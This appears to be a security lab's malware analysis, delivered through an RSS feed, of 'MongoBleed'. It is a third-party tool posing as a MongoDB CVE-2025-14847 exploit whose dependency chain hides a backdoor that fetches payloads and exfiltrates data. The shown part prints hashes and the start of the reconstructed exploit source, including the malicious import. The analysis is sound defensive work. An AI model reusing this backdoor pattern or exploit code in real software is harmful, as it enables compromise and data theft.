<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>白帽100安全攻防实验室</title>
    <link>https://wechat2rss.xlab.app/feed/55990eaae05ad1430e2ba4955756b215a99896c9.xml</link>
    <description>分享技术文章，做点我们能做的事   官网：www.whitecap100.org  DC0571：defcon.whitecap100.org   白帽100团队&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (白帽100安全攻防实验室)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5AOaoGP1T9nibpFRKgq5LsXXDibVc7trhIG9cdUjX3ceiaA/0</url>
      <title>白帽100安全攻防实验室</title>
      <link>https://wechat2rss.xlab.app/feed/55990eaae05ad1430e2ba4955756b215a99896c9.xml</link>
    </image>
    <item>
      <title>MongoBleed 供应链攻击逆向分析报告（详细版）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515488&amp;idx=1&amp;sn=5cae19817531182237bba95dbca9314c</link>
      <description>MongoBleed 供应链攻击逆向分析报告（详细版）</description>
      <content:encoded><![CDATA[<p><span>Ch1ngg</span> <span>2026-03-26 14:14</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8c4432ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FdS3TeHzf2N4F5vszHFB9NYDZH8oHFcFAANDyvgSDv9q80nZJTSJp1Wsl272wA3geE5CbGEp5GkOYjRcA2XLcEGtfXGUPQK2CxrZ1QeOrDMQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>MongoBleed 供应链攻击逆向分析报告（详细版）</p>
  <h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基本信息</span></h2><table style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;caption-side: bottom;border-collapse: collapse;empty-cells: show;overflow: auto;border-spacing: 0px;display: block;word-break: keep-all;width: 519px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><th style="box-sizing: border-box;margin: 0px;padding: 6px 13px;text-align: -webkit-match-parent;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;font-weight: 600;"><p><span leaf="">属性</span></p></th><th style="box-sizing: border-box;margin: 0px;padding: 6px 13px;text-align: -webkit-match-parent;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;font-weight: 600;"><p><span leaf="">值</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">文件名</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">MongoBleed</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">类型</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">ELF 64-bit LSB executable, x86-64, stripped</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">大小</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">10,281,192 bytes (~10MB)</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">SHA256</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">8d68b11d1c847ecc7b3ec5f308c17d7fdfe2c0a2959f303c1fe17aa3a0b6baca</span></code></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">MD5</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">ae978caf837221519847c0764bc492a8</span></code></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">打包方式</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">PyInstaller 2.1+ / Python 3.12</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">pydata 段</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">0x9be5c8 字节（约 10.2MB），包含全部 Python 模块</span></p></td></tr></tbody></table><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目溯源声明</span></h3><blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 4px 0px 0px 10px;color: rgb(154, 154, 154);border-left: 3px solid rgb(219, 219, 219);line-height: 1.6;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;"><span leaf="">此恶意文件来源于第三方扩展版仓库，与原版 MDUT 项目 SafeGroceryStore/MDUT 无任何关系。</span><span leaf=""> 原版 MDUT 不包含 MongoDB 相关插件，MongoBleed 是第三方「扩展版」自行新增的组件。其中扩展版的MongoBleed 工具被植入了后门。</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">投毒行为与原作者无关，请勿混淆。</span></strong></p><ul style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px 0px 0px 2em;list-style-type: disc;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;padding: 0px;"><p><span leaf="">原版项目: <a href="https://github.com/SafeGroceryStore/MDUT" target="_blank">https://github.com/SafeGroceryStore/MDUT</a> （安全）</span></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><p><span leaf="">被投毒的第三方扩展版: <a href="https://github.com/DeEpinGh0st/MDUT-Extend-Release" target="_blank">https://github.com/DeEpinGh0st/MDUT-Extend-Release</a> （受影响）</span></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><p><span leaf="">问题报告: issues/22</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">确认存在供应链后门。</span></strong><span leaf=""> 工具表面是 CVE-2025-14847 MongoDB 内存泄漏 EXP，但依赖链 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">slogsec</span></code><span leaf=""> -&gt; </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 12.75px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt.cryptography</span></code><span leaf=""> 中植入了恶意 C 扩展库，执行远程载荷下载、数据外泄和持久化控制。</span></p></blockquote><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击链路图</span></h2><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100031837" data-ratio="0.5623529411764706" data-s="300,640" type="block" data-type="png" data-w="1275" src="https://wechat2rss.xlab.app/img-proxy/?k=b557e2df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FdS3TeHzf2N7icNT7RtBTIYLxZEbEyicMDIf3OibIjAY2v5mYvU6ibQ2G8x5NfMdzz69vNyxejD1aibPA9CLFlG8jf4UTCL0zdCB8yvuftQYuY4zc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. exploit.py -- 表面功能（CVE-2025-14847 EXP）</span></h2><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从字节码重建的完整源码：</span></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># exploit.py -- CVE-2025-14847 MongoDB 内存泄漏利用工具</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> socket                                           </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第1行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> struct                                           </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第2行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> zlib                                             </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第3行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> re                                               </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第4行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> argparse                                         </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第5行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> slogsec                  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># &lt;-- 恶意依赖入口       # 第6行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> threading                                        </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第7行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> concurrent.futures </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> ThreadPoolExecutor, as_completed  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第8行</span></span><span leaf=""><br/></span><span leaf="">log = slogsec.get_logger(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;CVE-2025-14847&#39;</span></span><span leaf="">)              </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第10行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">hexdump</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">data, length=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">16</span></span></span><span leaf="">):                           </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第12行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;格式化十六进制输出&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Offset&#39;</span></span><span leaf="">:&lt;</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">10</span></span><span leaf="">}</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;Hex&#39;</span></span><span leaf="">:&lt;</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">47</span></span><span leaf="">}</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;ASCII&#39;</span></span><span leaf="">}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;-&#39;</span></span><span leaf=""> * </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">75</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> i </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">range</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(data), length):</span><span leaf=""><br/></span><span leaf="">        chunk = data[i:i+length]</span><span leaf=""><br/></span><span leaf="">        hex_part = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39; &#39;</span></span><span leaf="">.join(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{b:02x}</span></span><span leaf="">&#34;</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> b </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> chunk)</span><span leaf=""><br/></span><span leaf="">        ascii_part = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;&#39;</span></span><span leaf="">.join(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">chr</span></span><span leaf="">(b) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">32</span></span><span leaf=""> &lt;= b &lt;= </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">126</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">else</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;.&#39;</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> b </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> chunk)</span><span leaf=""><br/></span><span leaf="">        log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{i:08x}</span></span><span leaf="">:  </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span 